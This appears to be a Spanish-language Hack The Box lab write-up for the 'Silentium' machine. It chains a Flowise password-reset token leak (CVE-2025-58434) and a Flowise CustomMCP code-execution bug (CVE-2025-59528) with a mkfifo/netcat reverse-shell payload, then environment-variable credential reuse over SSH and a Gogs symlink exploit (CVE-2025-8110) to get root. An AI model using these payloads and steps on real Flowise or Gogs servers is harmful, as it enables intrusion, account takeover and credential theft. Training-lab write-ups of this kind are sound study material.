Reconocimiento inicial

Enumeración con nmap

Comenzamos la fase de enumeración identificando la superficie de ataque mediante un escaneo de puertos. Utilizamos nmap para listar los servicios activos y sus versiones.

$
nmap -F -sV -sC -n -Pn 10.129.93.245
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-03 16:33 +0000
Nmap scan report for 10.129.93.245
Host is up (0.041s latency).
Not shown: 98 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El resultado del escaneo revela dos servicios activos. Entre ellos, un servicio SSH en el puerto 22 y un servicio web nginx en el puerto 80. Tambien obtenemos el nombre de host de la máquina objetivo.

$
echo "10.129.93.245 silentium.htb" | sudo tee -a /etc/hosts >/dev/null


Acceso al servicio de nginx

Al comprobar que la web principal no muestra funcionalidades, formularios ni rutas de interés.Realizamos una búsqueda de subdominios mediante fuzzing de la cabecera Host.

$
ffuf -u http://10.129.93.245/ \
 -H 'Host: FUZZ.silentium.htb' \
 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
 -ac -mc all
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.93.245/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 60ms]
:: Progress: [4989/4989] :: Job [1/1] :: 970 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

El escaneo revela el subdominio: staging. Al acceder mediante el navegador, se muestra un panel de inicio de sesión correspondiente a Flowise, una plataforma basada en interfaz visual para la construcción de flujos con modelos de lenguaje.

htb silentium flowise login

Para comprometer la aplicación, analizamos dos vectores, el CVE-2025-58434 para obtener acceso mediante la divulgación de tokens de restablecimiento (Account Takeover), y CVE-2025-59528 para lograr ejecución remota de código (RCE) a través de componentes mal configurados.


Explotación del CVE-2025-58434

El CVE-2025-58434 es una vulnerabilidad de control de acceso que permite la divulgación del token temporal de restablecimiento directamente en la respuesta HTTP, facilitando la apropiación de cuentas (Account Takeover) sin necesidad de validación previa.

htb silentium web

A partir de los nombres identificados en la aplicación web, podemos generar una lista de posibles emails para enumerar las cuentas:

marcus@silentium.htb
ben@silentium.htb
elena@silentium.htb

marcusthorne@silentium.htb
elenarossi@silentium.htb

marcus.thorne@silentium.htb
elena.rossi@silentium.htb

mthorne@silentium.htb
erossi@silentium.htb

Capturamos una petición de recuperación mediante Burp Suite y la enviamos a Intruder para probar los diferentes emails. El ataque muestra que el email ben@silentium.htb responde con un código de estado 201, filtrando en su cuerpo el token temporal tempToken:

HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 03 Sep 2026 17:13:57 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 579
Connection: keep-alive
Access-Control-Allow-Origin: http://staging.silentium.htb
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"243-Th+Skw2Qt1bm0R8vKcWDsKRljr0"

{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
    "tempToken": "elBofb4KX3bjLAfXTzRuOE9I8VxjmtV01gExAC1A5x2BDGSEAcA0hjOwnKLDf1EG",
    "tokenExpiry": "2026-09-03T17:28:57.272Z",
    "status": "active",
    "createdDate": "2026-01-29T20:14:57.000Z",
    "updatedDate": "2026-09-03T17:13:57.000Z",
    "createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
  },
  "organization": {},
  "organizationUser": {},
  "workspace": {},
  "workspaceUser": {},
  "role": {}
}

Con el token temporal, realizamos una petición POST para actualizar la contraseña del usuario:

$
curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"elBofb4KX3bjLAfXTzRuOE9I8VxjmtV01gExAC1A5x2BDGSEAcA0hjOwnKLDf1EG","password":"GxPassword123!"}}'

HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 03 Sep 2026 17:22:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-Bwd8GDyWT4ijVhE+iRhFylsU/0k"

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$z5YLU/QZrfSW3tn69GnkUu6w.3rv5hictlAKvNL23hYgwWaQ5SLEe","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-09-03T17:22:27.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}

Con la contraseña restablecida con éxito, procedemos a iniciar sesión en el panel de control de la aplicación.

htb silentium flowise panel version


Explotación del CVE-2025-59528

El CVE-2025-59528 es una vulnerabilidad de ejecución remota de código (RCE) en el componente CustomMCP de Flowise. La aplicación procesa de forma insegura los parámetros de configuración y permite evaluar código en el servidor, facilitando la invocación de módulos nativos de Node.js como child_process.

Creamos un archivo llamado payload.json para ejecutar una reverse shell:

payload.json
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.147 4444 >/tmp/f');return 1;})()} )"
  }
}

A continuación, realizamos la autenticación mediante la API para obtener las cookies de sesión y almacenarlas localmente:

$
curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -c cookies.txt \
  -d '{"email":"ben@silentium.htb","password":"GxPassword123!"}'
{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","email":"ben@silentium.htb","name":"admin","roleId":"0d9b0a16-df95-198c-8e71-f517d74b70ef","activeOrganizationId":"4b8da5da-66a2-4a4d-9c6c-7657c28c2d11","activeOrganizationSubscriptionId":null,"activeOrganizationCustomerId":null,"activeOrganizationProductId":"","isOrganizationAdmin":true,"activeWorkspaceId":"c54b3e15-690b-4d76-bcca-6ee241f57f46","activeWorkspace":"Default Workspace","assignedWorkspaces":[{"id":"c54b3e15-690b-4d76-bcca-6ee241f57f46","name":"Default Workspace","role":"owner","organizationId":"4b8da5da-66a2-4a4d-9c6c-7657c28c2d11"}],"isApiKeyValidated":true,"permissions":["organization","workspace"],"features":{},"isSSO":false} 
$
TOKEN=$(awk '$6=="token" {print $7}' cookies.txt)

Iniciamos un listener con Netcat en el puerto 4444 para recibir la conexión:

$
$nc -lnvp 4444
listening on [any] 4444 ...

Enviamos el payload contra el endpoint vulnerable /api/v1/node-load-method/customMCP utilizando las cookies:

$
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -b cookies.txt \
  -d @payload.json
[{"label":"No Available Actions","name":"error","description":"No available actions, please check your API key and refresh"}]

Al instante, recibimos la conexión en nuestro listener y validamos el contexto de ejecución:

connect to [10.10.15.147] from (UNKNOWN) [10.129.93.245] 44231
sh: can't access tty; job control turned off
/ #
whoami
root
/ #
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Al enumerar, en encontramos con el archivo .dockerenv en el directorio raíz, confirmando que nos encontramos con privilegios de root pero dentro de un contenedor Docker:

/ #
la -la
total 68
drwxr-xr-x    1 root     root          4096 Apr  8 15:14 .
drwxr-xr-x    1 root     root          4096 Apr  8 15:14 ..
-rwxr-xr-x    1 root     root             0 Apr  8 15:14 .dockerenv
drwxr-xr-x    1 root     root          4096 Jul 16  2025 bin
drwxr-xr-x    5 root     root           340 Sep  3 16:31 dev
drwxr-xr-x    1 root     root          4096 Apr  8 15:14 etc
drwxr-xr-x    1 root     root          4096 Jul 16  2025 home
drwxr-xr-x    1 root     root          4096 Jul 15  2025 lib
drwxr-xr-x    5 root     root          4096 Jul 15  2025 media
drwxr-xr-x    2 root     root          4096 Jul 15  2025 mnt
drwxr-xr-x    1 root     root          4096 Jul 16  2025 opt
dr-xr-xr-x  286 root     root             0 Sep  3 16:31 proc
drwx------    1 root     root          4096 Apr  8 09:41 root
drwxr-xr-x    3 root     root          4096 Jul 15  2025 run
drwxr-xr-x    2 root     root          4096 Jul 15  2025 sbin
drwxr-xr-x    2 root     root          4096 Jul 15  2025 srv
dr-xr-xr-x   13 root     root             0 Sep  3 16:31 sys
drwxrwxrwt    1 root     root          4096 Sep  3 18:16 tmp
drwxr-xr-x    1 root     root          4096 Apr  8 09:41 usr
drwxr-xr-x    1 root     root          4096 Jul 15  2025 var


Pivoting al Host

Una vez dentro del contenedor, revisamos las variables de entorno env para identificar configuraciones o credenciales reutilizables:

/ #
env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
OLDPWD=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

Las variables entorno contienen credenciales sensibles y parámetros internos de configuración:

FLOWISE_PASSWORD=F1l3_d0ck3r
SENDER_EMAIL=ben@silentium.htb
SMTP_PASSWORD=r04D!!_R4ge

Probamos estas credenciales para autenticarnos mediante SSH contra la máquina principal utilizando el usuario ben@silentium.htb y contraseña r04D!!_R4ge.

$
ssh ben@silentium.htb
ben@silentium:~$
whoami
ben
ben@silentium:~$
id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)


Enumeración del Host

Revisamos el estado de las conexiones de red locales:

ben@silentium:~$
netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:39145         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -

El puerto 3000 aloja la instancia de Flowise, mientras que el puerto 3001 expone una instancia de Gogs alojada en /opt/gogs:

ben@silentium:~$
curl http://127.0.0.1:3001 | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<!DOCTYPE html>
<html>
<head data-suburl="">
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
	
		<meta name="author" content="Gogs" />
		<meta name="description" content="Gogs is a painless self-hosted Git service" />
		<meta name="keywords" content="go, git, self-hosted, gogs">
	
100  8049    0  8049    0     0   393k      0 --:--:-- --:--:-- --:--:--  413k
curl: Failed writing body
ben@silentium:~$
ps -ef | grep gogs
root        1499       1  0 16:31 ?        00:00:02 /opt/gogs/gogs/gogs web
ben        25512   23464  0 20:05 pts/0    00:00:00 grep --color=auto gogs
ben@silentium:~$
ls -al /opt
total 16
drwxr-xr-x  4 root root 4096 Apr  8 18:30 .
drwxr-xr-x 22 root root 4096 Apr  8 09:41 ..
drwx--x--x  4 root root 4096 Apr  8 09:41 containerd
drwxr-xr-x  6 root root 4096 Apr  8 09:41 gogs

Establecemos un reenvío de puertos mediante SSH desde nuestra máquina local para inspeccionar la interfaz web de Gogs:

$
ssh -L 3001:127.0.0.1:3001 ben@staging.silentium.htb

Desde el navegador accedemos a http://localhost:3001. En la sección de Explore podemos ver al usuario ben, pero al intentar iniciar sesión con las credenciales que tenemos no es posible autenticarnos.

htb silentium gogs

Para profundizar en el servicio, verificamos la versión de Gogs directamente en el host:

ben@silentium:~$
/opt/gogs/gogs/gogs --version
Gogs version 0.13.3

La versión 0.13.3 es vulnerable al CVE-2025-8110. Se trata de una vulnerabilidad crítica de ejecución remota de código (RCE).


Escalada de privilegios con la explotación del CVE-2025-8110

Utilizamos el exploit público desarrollado por zAbuQasem gogs-CVE-2025-8110.

El script comienza automatizando la creación de una cuenta y la autenticación en Gogs a través de las funciones register y login. Extrae los tokens CSRF necesarios, registra al usuario zAbuQasem, establece una sesión válida y genera un token de API.

Aprovechando este acceso autenticado, el script crea un repositorio temporal, lo clona localmente e introduce un enlace simbólico que apunta directamente a .git/config. Mediante una petición PUT a la API, sobrescribe este archivo de configuración para inyectar una directiva sshCommand con una reverse shell, logrando la Ejecución Remota de Código (RCE).


Como el exploit fallaba durante el flujo automatizado, comentamos la línea register(session, args.url, username, password) de main y realizamos el registro manualmente con los datos del exploit.

A continuación, configuramos los parámetros globales de Git:

git config --global user.email "zAbuQasem@attacker.com"
git config --global user.name "zAbuQasem"

Iniciamos otro listener con Netcat en el puerto 4444 para recibir la conexión:

$
nc -lnvp 4444
listening on [any] 4444 ...

Por último, ejecutamos el script de explotación:

$
python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.15.147 -lp 4444
[+] Application token: 6dc673d333304674ed2cb9aef52a11dff1090925
Repo creation status: 201
Cloning into '/tmp/c178ce12af1a'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 262 bytes | 262.00 KiB/s, done.
[master de81ebe] Add malicious symlink
 1 file changed, 1 insertion(+)
 create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 6 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 301 bytes | 301.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://127.0.0.1:3001/zAbuQasem/c178ce12af1a.git
   17d17dd..de81ebe  master -> master
[+] Exploit sent, check your listener!
[-] Error: HTTPConnectionPool(host='127.0.0.1', port=3001): Read timed out. (read timeout=5)

Y en el listener obtenemos la conexión:

connect to [10.10.15.147] from (UNKNOWN) [10.129.93.245] 56968
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/2#
whoami
root
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/2#
id
uid=0(root) gid=0(root) groups=0(root)